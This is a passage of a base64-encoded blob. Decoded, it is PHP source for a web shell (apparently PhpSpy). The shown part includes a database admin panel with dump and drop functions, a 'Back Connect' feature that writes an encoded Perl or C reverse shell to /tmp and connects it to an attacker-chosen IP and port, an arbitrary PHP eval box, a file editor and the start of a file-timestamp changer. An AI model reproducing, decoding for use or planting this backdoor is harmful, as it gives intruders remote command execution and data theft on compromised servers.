g0KCQkJCQl9DQoNCgkJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIj4nKTsNCg0KCQkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOw0KDQoJCQkJCXAoJzx0ZD5GaWVsZDwvdGQ+Jyk7DQoNCgkJCQkJcCgnPHRkPlR5cGU8L3RkPicpOw0KDQoJCQkJCXAoJzx0ZD5OdWxsPC90ZD4nKTsNCg0KCQkJCQlwKCc8dGQ+S2V5PC90ZD4nKTsNCg0KCQkJCQlwKCc8dGQ+RGVmYXVsdDwvdGQ+Jyk7DQoNCgkJCQkJcCgnPHRkPkV4dHJhPC90ZD4nKTsNCg0KCQkJCQlwKCc8L3RyPicpOw0KDQoJCQkJCWZvcmVhY2ggKCRyb3dkYiBhcyAkcm93KSB7DQoNCgkJCQkJCSR0aGlzYmcgPSBiZygpOw0KDQoJCQkJCQlwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7DQoNCgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0ZpZWxkJ10uJzwvdGQ+Jyk7DQoNCgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ1R5cGUnXS4nPC90ZD4nKTsNCg0KCQkJCQkJcCgnPHRkPicuJHJvd1snTnVsbCddLicmbmJzcDs8L3RkPicpOw0KDQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydLZXknXS4nJm5ic3A7PC90ZD4nKTsNCg0KCQkJCQkJcCgnPHRkPicuJHJvd1snRGVmYXVsdCddLicmbmJzcDs8L3RkPicpOw0KDQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydFeHRyYSddLicmbmJzcDs8L3RkPicpOw0KDQoJCQkJCQlwKCc8L3RyPicpOw0KDQoJCQkJCX0NCg0KCQkJCQl0YmZvb3QoKTsNCg0KCQkJCX0gZWxzZWlmICgkZG9pbmcgPT0gJ2luc2VydCcgfHwgJGRvaW5nID09ICdlZGl0Jykgew0KDQoJCQkJCSRyZXN1bHQgPSBxKCdTSE9XIENPTFVNTlMgRlJPTSAnLiR0YWJsZW5hbWUpOw0KDQoJCQkJCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsNCg0KCQkJCQkJJHJvd2RiW10gPSAkcm93Ow0KDQoJCQkJCX0NCg0KCQkJCQkkcnMgPSBhcnJheSgpOw0KDQoJCQkJCWlmICgkZG9pbmcgPT0gJ2luc2VydCcpIHsNCg0KCQkJCQkJcCgnPGgyPkluc2VydCBuZXcgbGluZSBpbiAnLiR0YWJsZW5hbWUuJyB0YWJsZSAmcmFxdW87PC9oMj4nKTsNCg0KCQkJCQl9IGVsc2Ugew0KDQoJCQkJCQlwKCc8aDI+VXBkYXRlIHJlY29yZCBpbiAnLiR0YWJsZW5hbWUuJyB0YWJsZSAmcmFxdW87PC9oMj4nKTsNCg0KCQkJCQkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsNCg0KCQkJCQkJJHJlc3VsdCA9IHEoIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUgTElNSVQgMSIpOw0KDQoJCQkJCQkkcnMgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KTsNCg0KCQkJCQl9DQoNCgkJCQkJcCgnPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IicuJHNlbGYuJyI+Jyk7DQoNCgkJCQkJcCgkZGJmb3JtKTsNCg0KCQkJCQltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCg0KCQkJCQltYWtlaGlkZSgndGFibGVuYW1lJywkdGFibGVuYW1lKTsNCg0KCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOw0KDQoJCQkJCWZvcmVhY2ggKCRyb3dkYiBhcyAkcm93KSB7DQoNCgkJCQkJCWlmICgkcnNbJHJvd1snRmllbGQnXV0pIHsNCg0KCQkJCQkJCSR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHJzWyRyb3dbJ0ZpZWxkJ11dKTsNCg0KCQkJCQkJfSBlbHNlIHsNCg0KCQkJCQkJCSR2YWx1ZSA9ICcnOw0KDQoJCQkJCQl9DQoNCgkJCQkJCSR0aGlzYmcgPSBiZygpOw0KDQoJCQkJCQlwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7DQoNCgkJCQkJCXAoJzx0ZD48Yj4nLiRyb3dbJ0ZpZWxkJ10uJzwvYj48YnIgLz4nLiRyb3dbJ1R5cGUnXS4nPC90ZD48dGQ+PHRleHRhcmVhIGNsYXNzPSJhcmVhIiBuYW1lPSJpbnNlcnRzcWxbJy4kcm93WydGaWVsZCddLiddIiBzdHlsZT0id2lkdGg6NTAwcHg7aGVpZ2h0OjYwcHg7b3ZlcmZsb3c6YXV0bzsiPicuJHZhbHVlLic8L3RleHRhcmVhPjwvdGQ+PC90cj4nKTsNCg0KCQkJCQl9DQoNCgkJCQkJaWYgKCRkb2luZyA9PSAnaW5zZXJ0Jykgew0KDQoJCQkJCQlwKCc8dHIgY2xhc3M9IicuYmcoKS4nIj48dGQgY29sc3Bhbj0iMiI+PGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiBuYW1lPSJpbnNlcnQiIHZhbHVlPSJJbnNlcnQiIC8+PC90ZD48L3RyPicpOw0KDQoJCQkJCX0gZWxzZSB7DQoNCgkJCQkJCXAoJzx0ciBjbGFzcz0iJy5iZygpLiciPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgY2xhc3M9ImJ0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InVwZGF0ZSIgdmFsdWU9IlVwZGF0ZSIgLz48L3RkPjwvdHI+Jyk7DQoNCgkJCQkJCW1ha2VoaWRlKCdiYXNlNjQnLCAkYmFzZTY0KTsNCg0KCQkJCQl9DQoNCgkJCQkJcCgnPC90YWJsZT48L2Zvcm0+Jyk7DQoNCgkJCQl9IGVsc2Ugew0KDQoJCQkJCSRxdWVyeXMgPSBAZXhwbG9kZSgnOycsJHNxbF9xdWVyeSk7DQoNCgkJCQkJZm9yZWFjaCgkcXVlcnlzIGFzICRudW09PiRxdWVyeSkgew0KDQoJCQkJCQlpZiAoJHF1ZXJ5KSB7DQoNCgkJCQkJCQlwKCI8cD48Yj5RdWVyeSN7JG51bX0gOiAiLmh0bWxzcGVjaWFsY2hhcnMoJHF1ZXJ5LEVOVF9RVU9URVMpLiI8L2I+PC9wPiIpOw0KDQoJCQkJCQkJc3dpdGNoKHF5KCRxdWVyeSkpDQoNCgkJCQkJCQl7DQoNCgkJCQkJCQkJY2FzZSAwOg0KDQoJCQkJCQkJCQlwKCc8aDI+RXJyb3IgOiAnLm15c3FsX2Vycm9yKCkuJzwvaDI+Jyk7DQoNCgkJCQkJCQkJCWJyZWFrOwkNCg0KCQkJCQkJCQljYXNlIDE6DQoNCgkJCQkJCQkJCWlmIChzdHJ0b2xvd2VyKHN1YnN0cigkcXVlcnksMCwxMykpID09ICdzZWxlY3QgKiBmcm9tJykgew0KDQoJCQkJCQkJCQkJJGFsbG93ZWRpdCA9IDE7DQoNCgkJCQkJCQkJCX0NCg0KCQkJCQkJCQkJaWYgKCRnZXRudW1zcWwpIHsNCg0KCQkJCQkJCQkJCSR0YXRvbCA9IG15c3FsX251bV9yb3dzKHEoJGdldG51bXNxbCkpOw0KDQoJCQkJCQkJCQkJJG11bHRpcGFnZSA9IG11bHRpKCR0YXRvbCwgJHBhZ2VudW0sICRwYWdlLCAkdGFibGVuYW1lKTsNCg0KCQkJCQkJCQkJfQ0KDQoJCQkJCQkJCQlpZiAoISR0YWJsZW5hbWUpIHsNCg0KCQkJCQkJCQkJCSRzcWxfbGluZSA9IHN0cl9yZXBsYWNlKGFycmF5KCJcciIsICJcbiIsICJcdCIpLCBhcnJheSgnICcsICcgJywgJyAnKSwgdHJpbShodG1sc3BlY2lhbGNoYXJzKCRxdWVyeSkpKTsNCg0KCQkJCQkJCQkJCSRzcWxfbGluZSA9IHByZWdfcmVwbGFjZSgiL1wvXCpbXihcKlwvKV0qXCpcLy9pIiwgIiAiLCAkc3FsX2xpbmUpOw0KDQoJCQkJCQkJCQkJcHJlZ19tYXRjaF9hbGwoIi9mcm9tXHMrYHswLDF9KFtcd10rKWB7MCwxfVxzKy9pIiwkc3FsX2xpbmUsJG1hdGNoZXMpOw0KDQoJCQkJCQkJCQkJJHRhYmxlbmFtZSA9ICRtYXRjaGVzWzFdWzBdOw0KDQoJCQkJCQkJCQl9DQoNCgkJCQkJCQkJCSRyZXN1bHQgPSBxKCRxdWVyeSk7DQoNCgkJCQkJCQkJCXAoJG11bHRpcGFnZSk7DQoNCgkJCQkJCQkJCXAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCI+Jyk7DQoNCgkJCQkJCQkJCXAoJzx0ciBjbGFzcz0iaGVhZCI+Jyk7DQoNCgkJCQkJCQkJCWlmICgkYWxsb3dlZGl0KSBwKCc8dGQ+QWN0aW9uPC90ZD4nKTsNCg0KCQkJCQkJCQkJJGZpZWxkbnVtID0gQG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7DQoNCgkJCQkJCQkJCWZvcigkaT0wOyRpPCRmaWVsZG51bTskaSsrKXsNCg0KCQkJCQkJCQkJCSRuYW1lID0gQG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwgJGkpOw0KDQoJCQkJCQkJCQkJJHR5cGUgPSBAbXlzcWxfZmllbGRfdHlwZSgkcmVzdWx0LCAkaSk7DQoNCgkJCQkJCQkJCQkkbGVuID0gQG15c3FsX2ZpZWxkX2xlbigkcmVzdWx0LCAkaSk7DQoNCgkJCQkJCQkJCQlwKCI8dGQgbm93cmFwPiRuYW1lPGJyPjxzcGFuPiR0eXBlKCRsZW4pPC9zcGFuPjwvdGQ+Iik7DQoNCgkJCQkJCQkJCX0NCg0KCQkJCQkJCQkJcCgnPC90cj4nKTsNCg0KCQkJCQkJCQkJd2hpbGUoJG1uID0gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXN1bHQpKXsNCg0KCQkJCQkJCQkJCSR0aGlzYmcgPSBiZygpOw0KDQoJCQkJCQkJCQkJcCgnPHRyIGNsYXNzPSInLiR0aGlzYmcuJyIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnJy4kdGhpc2JnLidcJzsiPicpOw0KDQoJCQkJCQkJCQkJJHdoZXJlID0gJHRtcCA9ICRiMSA9ICcnOw0KDQoJCQkJCQkJCQkJZm9yZWFjaCgkbW4gYXMgJGtleT0+JGluc2lkZSl7DQoNCgkJCQkJCQkJCQkJaWYgKCRpbnNpZGUpIHsNCg0KCQkJCQkJCQkJCQkJJHdoZXJlIC49ICR0bXAuJGtleS4iPSciLmFkZHNsYXNoZXMoJGluc2lkZSkuIiciOw0KDQoJCQkJCQkJCQkJCQkkdG1wID0gJyBBTkQgJzsNCg0KCQkJCQkJCQkJCQl9DQoNCgkJCQkJCQkJCQkJJGIxIC49ICc8dGQgbm93cmFwPicuaHRtbF9jbGVhbigkaW5zaWRlKS4nJm5ic3A7PC90ZD4nOw0KDQoJCQkJCQkJCQkJfQ0KDQoJCQkJCQkJCQkJJHdoZXJlID0gYmFzZTY0X2VuY29kZSgkd2hlcmUpOw0KDQoJCQkJCQkJCQkJaWYgKCRhbGxvd2VkaXQpIHAoJzx0ZCBub3dyYXA+PGEgaHJlZj0iamF2YXNjcmlwdDplZGl0cmVjb3JkKFwnZWRpdFwnLCBcJycuJHdoZXJlLidcJywgXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPkVkaXQ8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDplZGl0cmVjb3JkKFwnZGVsXCcsIFwnJy4kd2hlcmUuJ1wnLCBcJycuJHRhYmxlbmFtZS4nXCcpOyI+RGVsPC9hPjwvdGQ+Jyk7DQoNCgkJCQkJCQkJCQlwKCRiMSk7DQoNCgkJCQkJCQkJCQlwKCc8L3RyPicpOw0KDQoJCQkJCQkJCQkJdW5zZXQoJGIxKTsNCg0KCQkJCQkJCQkJfQ0KDQoJCQkJCQkJCQl0YmZvb3QoKTsNCg0KCQkJCQkJCQkJcCgkbXVsdGlwYWdlKTsNCg0KCQkJCQkJCQkJYnJlYWs7CQ0KDQoJCQkJCQkJCWNhc2UgMjoNCg0KCQkJCQkJCQkJJGFyID0gbXlzcWxfYWZmZWN0ZWRfcm93cygpOw0KDQoJCQkJCQkJCQlwKCc8aDI+YWZmZWN0ZWQgcm93cyA6IDxiPicuJGFyLic8L2I+PC9oMj4nKTsNCg0KCQkJCQkJCQkJYnJlYWs7DQoNCgkJCQkJCQl9DQoNCgkJCQkJCX0NCg0KCQkJCQl9DQoNCgkJCQl9DQoNCgkJCX0gZWxzZSB7DQoNCgkJCQkkcXVlcnkgPSBxKCJTSE9XIFRBQkxFIFNUQVRVUyIpOw0KDQoJCQkJJHRhYmxlX251bSA9ICR0YWJsZV9yb3dzID0gJGRhdGFfc2l6ZSA9IDA7DQoNCgkJCQkkdGFibGVkYiA9IGFycmF5KCk7DQoNCgkJCQl3aGlsZSgkdGFibGUgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7DQoNCgkJCQkJJGRhdGFfc2l6ZSA9ICRkYXRhX3NpemUgKyAkdGFibGVbJ0RhdGFfbGVuZ3RoJ107DQoNCgkJCQkJJHRhYmxlX3Jvd3MgPSAkdGFibGVfcm93cyArICR0YWJsZVsnUm93cyddOw0KDQoJCQkJCSR0YWJsZVsnRGF0YV9sZW5ndGgnXSA9IHNpemVjb3VudCgkdGFibGVbJ0RhdGFfbGVuZ3RoJ10pOw0KDQoJCQkJCSR0YWJsZV9udW0rKzsNCg0KCQkJCQkkdGFibGVkYltdID0gJHRhYmxlOw0KDQoJCQkJfQ0KDQoJCQkJJGRhdGFfc2l6ZSA9IHNpemVjb3VudCgkZGF0YV9zaXplKTsNCg0KCQkJCXVuc2V0KCR0YWJsZSk7DQoNCgkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPicpOw0KDQoJCQkJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0iUE9TVCI+Jyk7DQoNCgkJCQltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCg0KCQkJCXAoJGRiZm9ybSk7DQoNCgkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOw0KDQoJCQkJcCgnPHRkIHdpZHRoPSIyJSIgYWxpZ249ImNlbnRlciI+PGlucHV0IG5hbWU9ImNoa2FsbCIgdmFsdWU9Im9uIiB0eXBlPSJjaGVja2JveCIgb25jbGljaz0iQ2hlY2tBbGwodGhpcy5mb3JtKSIgLz48L3RkPicpOw0KDQoJCQkJcCgnPHRkPk5hbWU8L3RkPicpOw0KDQoJCQkJcCgnPHRkPlJvd3M8L3RkPicpOw0KDQoJCQkJcCgnPHRkPkRhdGFfbGVuZ3RoPC90ZD4nKTsNCg0KCQkJCXAoJzx0ZD5DcmVhdGVfdGltZTwvdGQ+Jyk7DQoNCgkJCQlwKCc8dGQ+VXBkYXRlX3RpbWU8L3RkPicpOw0KDQoJCQkJaWYgKCRoaWdodmVyKSB7DQoNCgkJCQkJcCgnPHRkPkVuZ2luZTwvdGQ+Jyk7DQoNCgkJCQkJcCgnPHRkPkNvbGxhdGlvbjwvdGQ+Jyk7DQoNCgkJCQl9DQoNCgkJCQlwKCc8L3RyPicpOw0KDQoJCQkJZm9yZWFjaCAoJHRhYmxlZGIgYXMgJGtleSA9PiAkdGFibGUpIHsNCg0KCQkJCQkkdGhpc2JnID0gYmcoKTsNCg0KCQkJCQlwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7DQoNCgkJCQkJcCgnPHRkIGFsaWduPSJjZW50ZXIiIHdpZHRoPSIyJSI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ0YWJsZVtdIiB2YWx1ZT0iJy4kdGFibGVbJ05hbWUnXS4nIiAvPjwvdGQ+Jyk7DQoNCgkJCQkJcCgnPHRkPjxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJyk7Ij4nLiR0YWJsZVsnTmFtZSddLic8L2E+IFsgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnLCBcJ2luc2VydFwnKTsiPkluc2VydDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcsIFwnc3RydWN0dXJlXCcpOyI+U3RydWN0dXJlPC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJywgXCdkcm9wXCcpOyI+RHJvcDwvYT4gXTwvdGQ+Jyk7DQoNCgkJCQkJcCgnPHRkPicuJHRhYmxlWydSb3dzJ10uJzwvdGQ+Jyk7DQoNCgkJCQkJcCgnPHRkPicuJHRhYmxlWydEYXRhX2xlbmd0aCddLic8L3RkPicpOw0KDQoJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnQ3JlYXRlX3RpbWUnXS4nPC90ZD4nKTsNCg0KCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ1VwZGF0ZV90aW1lJ10uJzwvdGQ+Jyk7DQoNCgkJCQkJaWYgKCRoaWdodmVyKSB7DQoNCgkJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnRW5naW5lJ10uJzwvdGQ+Jyk7DQoNCgkJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnQ29sbGF0aW9uJ10uJzwvdGQ+Jyk7DQoNCgkJCQkJfQ0KDQoJCQkJCXAoJzwvdHI+Jyk7DQoNCgkJCQl9DQoNCgkJCQlwKCc8dHIgY2xhc3M9Jy5iZygpLic+Jyk7DQoNCgkJCQlwKCc8dGQ+Jm5ic3A7PC90ZD4nKTsNCg0KCQkJCXAoJzx0ZD5Ub3RhbCB0YWJsZXM6ICcuJHRhYmxlX251bS4nPC90ZD4nKTsNCg0KCQkJCXAoJzx0ZD4nLiR0YWJsZV9yb3dzLic8L3RkPicpOw0KDQoJCQkJcCgnPHRkPicuJGRhdGFfc2l6ZS4nPC90ZD4nKTsNCg0KCQkJCXAoJzx0ZCBjb2xzcGFuPSInLigkaGlnaHZlciA/IDQgOiAyKS4nIj4mbmJzcDs8L3RkPicpOw0KDQoJCQkJcCgnPC90cj4nKTsNCg0KDQoNCgkJCQlwKCI8dHIgY2xhc3M9XCIiLmJnKCkuIlwiPjx0ZCBjb2xzcGFuPVwiIi4oJGhpZ2h2ZXIgPyA4IDogNikuIlwiPjxpbnB1dCBuYW1lPVwic2F2ZWFzZmlsZVwiIHZhbHVlPVwiMVwiIHR5cGU9XCJjaGVja2JveFwiIC8+IFNhdmUgYXMgZmlsZSA8aW5wdXQgY2xhc3M9XCJpbnB1dFwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIiLlNBX1JPT1QuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiJfTXlTUUwuc3FsXCIgdHlwZT1cInRleHRcIiBzaXplPVwiNjBcIiAvPiA8aW5wdXQgY2xhc3M9XCJidFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiZG93bnJhclwiIHZhbHVlPVwiRXhwb3J0IHNlbGVjdGlvbiB0YWJsZVwiIC8+PC90ZD48L3RyPiIpOw0KDQoJCQkJbWFrZWhpZGUoJ2RvaW5nJywnYmFja3VwbXlzcWwnKTsNCg0KCQkJCWZvcm1mb290KCk7DQoNCgkJCQlwKCI8L3RhYmxlPiIpOw0KDQoJCQkJZnIoJHF1ZXJ5KTsNCg0KCQkJfQ0KDQoJCX0NCg0KCX0NCg0KCXRiZm9vdCgpOw0KDQoJQG15c3FsX2Nsb3NlKCk7DQoNCn0vL2VuZCBzcWwgYmFja3VwDQoNCg0KDQoNCg0KZWxzZWlmICgkYWN0aW9uID09ICdiYWNrY29ubmVjdCcpIHsNCg0KCSEkeW91cmlwICYmICR5b3VyaXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsNCg0KCSEkeW91cnBvcnQgJiYgJHlvdXJwb3J0ID0gJzEyMzQ1JzsNCg0KCSR1c2VkYiA9IGFycmF5KCdwZXJsJz0+J3BlcmwnLCdjJz0+J2MnKTsNCg0KDQoNCgkkYmFja19jb25uZWN0PSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqIi4NCg0KCQkiYUc4Z0ltQnBaR0FpT3k5aWFXNHZjMmduT3cwS0pEQTlKR050WkRzTkNpUjBZWEpuWlhROUpFRlNSMVpiTUYwN0RRb2tjRzl5ZEQwa1FWSkhWbHN4WFRzTkNpUnBZV1JrY2oxcGJtVjBYMkYwYjI0b0pIUiIuDQoNCgkJImhjbWRsZENrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSd2IzSjBMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1QiLg0KDQoJCSJzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JIi4NCg0KCQkia1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaSIuDQoNCgkJIktUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ2tjM2x6ZEdWdEtUc05DbU5zYjNObEtGTlVSRWwiLg0KDQoJCSJPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsNCg0KDQoNCg0KDQoJaWYgKCRzdGFydCAmJiAkeW91cmlwICYmICR5b3VycG9ydCAmJiAkdXNlKXsNCg0KCQlpZiAoJHVzZSA9PSAncGVybCcpIHsNCg0KCQkJY2YoJy90bXAvYW5nZWxfYmMnLCRiYWNrX2Nvbm5lY3QpOw0KDQoJCQkkcmVzID0gZXhlY3V0ZSh3aGljaCgncGVybCcpLiIgL3RtcC9hbmdlbF9iYyAkeW91cmlwICR5b3VycG9ydCAmIik7DQoNCgkJfSBlbHNlIHsNCg0KCQkJY2YoJy90bXAvYW5nZWxfYmMuYycsJGJhY2tfY29ubmVjdF9jKTsNCg0KCQkJJHJlcyA9IGV4ZWN1dGUoJ2djYyAtbyAvdG1wL2FuZ2VsX2JjIC90bXAvYW5nZWxfYmMuYycpOw0KDQoJCQlAdW5saW5rKCcvdG1wL2FuZ2VsX2JjLmMnKTsNCg0KCQkJJHJlcyA9IGV4ZWN1dGUoIi90bXAvYW5nZWxfYmMgJHlvdXJpcCAkeW91cnBvcnQgJiIpOw0KDQoJCX0NCg0KCQltKCJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICR5b3VyaXAgcG9ydCAkeW91cnBvcnQgLi4uIik7DQoNCgl9DQoNCg0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0JhY2sgQ29ubmVjdCcpKTsNCg0KCW1ha2VoaWRlKCdhY3Rpb24nLCdiYWNrY29ubmVjdCcpOw0KDQoJcCgnPHA+Jyk7DQoNCglwKCdZb3VyIElQOicpOw0KDQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3lvdXJpcCcsJ3NpemUnPT4yMCwndmFsdWUnPT4keW91cmlwKSk7DQoNCglwKCdZb3VyIFBvcnQ6Jyk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4neW91cnBvcnQnLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JHlvdXJwb3J0KSk7DQoNCglwKCdVc2U6Jyk7DQoNCgltYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J3VzZScsJ29wdGlvbic9PiR1c2VkYiwnc2VsZWN0ZWQnPT4kdXNlKSk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc3RhcnQnLCd2YWx1ZSc9PidTdGFydCcsJ3R5cGUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnKSk7DQoNCglwKCc8L3A+Jyk7DQoNCglmb3JtZm9vdCgpOw0KDQp9Ly9lbmQgc3FsIGJhY2t1cA0KDQoNCg0KZWxzZWlmICgkYWN0aW9uID09ICdldmFsJykgew0KDQoJJHBocGNvZGUgPSB0cmltKCRwaHBjb2RlKTsNCg0KCWlmKCRwaHBjb2RlKXsNCg0KCQlpZiAoIXByZWdfbWF0Y2goJyM8XD8jc2knLCAkcGhwY29kZSkpIHsNCg0KCQkJJHBocGNvZGUgPSAiPD9waHBcblxueyRwaHBjb2RlfVxuXG4/PiI7DQoNCgkJfQ0KDQoJCWV2YWwoIj8iLiI+JHBocGNvZGU8PyIpOw0KDQoJfQ0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V2YWwgUEhQIENvZGUnKSk7DQoNCgltYWtlaGlkZSgnYWN0aW9uJywnZXZhbCcpOw0KDQoJbWFrZXRleHQoYXJyYXkoJ3RpdGxlJz0+J1BIUCBDb2RlJywnbmFtZSc9PidwaHBjb2RlJywgJ3ZhbHVlJz0+JHBocGNvZGUpKTsNCg0KCXAoJzxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuNG5nZWwubmV0LnRyL3BocHNweS9wbHVnaW4vIiB0YXJnZXQ9Il9ibGFuayI+R2V0IHBsdWdpbnM8L2E+PC9wPicpOw0KDQoJZm9ybWZvb3RlcigpOw0KDQp9Ly9lbmQgZXZhbA0KDQoNCg0KZWxzZWlmICgkYWN0aW9uID09ICdlZGl0ZmlsZScpIHsNCg0KCWlmKGZpbGVfZXhpc3RzKCRvcGZpbGUpKSB7DQoNCgkJJGZwPUBmb3Blbigkb3BmaWxlLCdyJyk7DQoNCgkJJGNvbnRlbnRzPUBmcmVhZCgkZnAsIGZpbGVzaXplKCRvcGZpbGUpKTsNCg0KCQlAZmNsb3NlKCRmcCk7DQoNCgkJJGNvbnRlbnRzPWh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnRzKTsNCg0KCX0NCg0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidDcmVhdGUgLyBFZGl0IEZpbGUnKSk7DQoNCgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOw0KDQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KDQoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDdXJyZW50IEZpbGUgKGltcG9ydCBuZXcgZmlsZSBuYW1lIGFuZCBuZXcgZmlsZSknLCduYW1lJz0+J2VkaXRmaWxlbmFtZScsJ3ZhbHVlJz0+JG9wZmlsZSwnbmV3bGluZSc9PjEpKTsNCg0KCW1ha2V0ZXh0KGFycmF5KCd0aXRsZSc9PidGaWxlIENvbnRlbnQnLCduYW1lJz0+J2ZpbGVjb250ZW50JywndmFsdWUnPT4kY29udGVudHMpKTsNCg0KCWZvcm1mb290ZXIoKTsNCg0KfS8vZW5kIGVkaXRmaWxlDQoNCg0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ25ld3RpbWUnKSB7DQoNCgkkb3BmaWxlbXRpbWUgPSBAZmlsZW10aW1lKCRvcGZpbGUpOw0KDQoJLy8kdGltZSA9IHN0cnRvdGltZSgiJHllYXItJG1vbnRoLSRkYXkgJGhvdXI6JG1pbnV0ZTokc2Vjb25kIik7DQoNCgkkY2FjaGVtb250aCA9IGFycmF5KCdKYW51YXJ5Jz0+MSwnRmVicnVhcnknPT4yLCdNYXJjaCc9PjMsJ0FwcmlsJz0+NCwnTWF5Jz0+NSwnSnVuZSc9PjYsJ0p1bHknPT43LCdBdWd1c3QnPT44LCdTZXB0ZW1i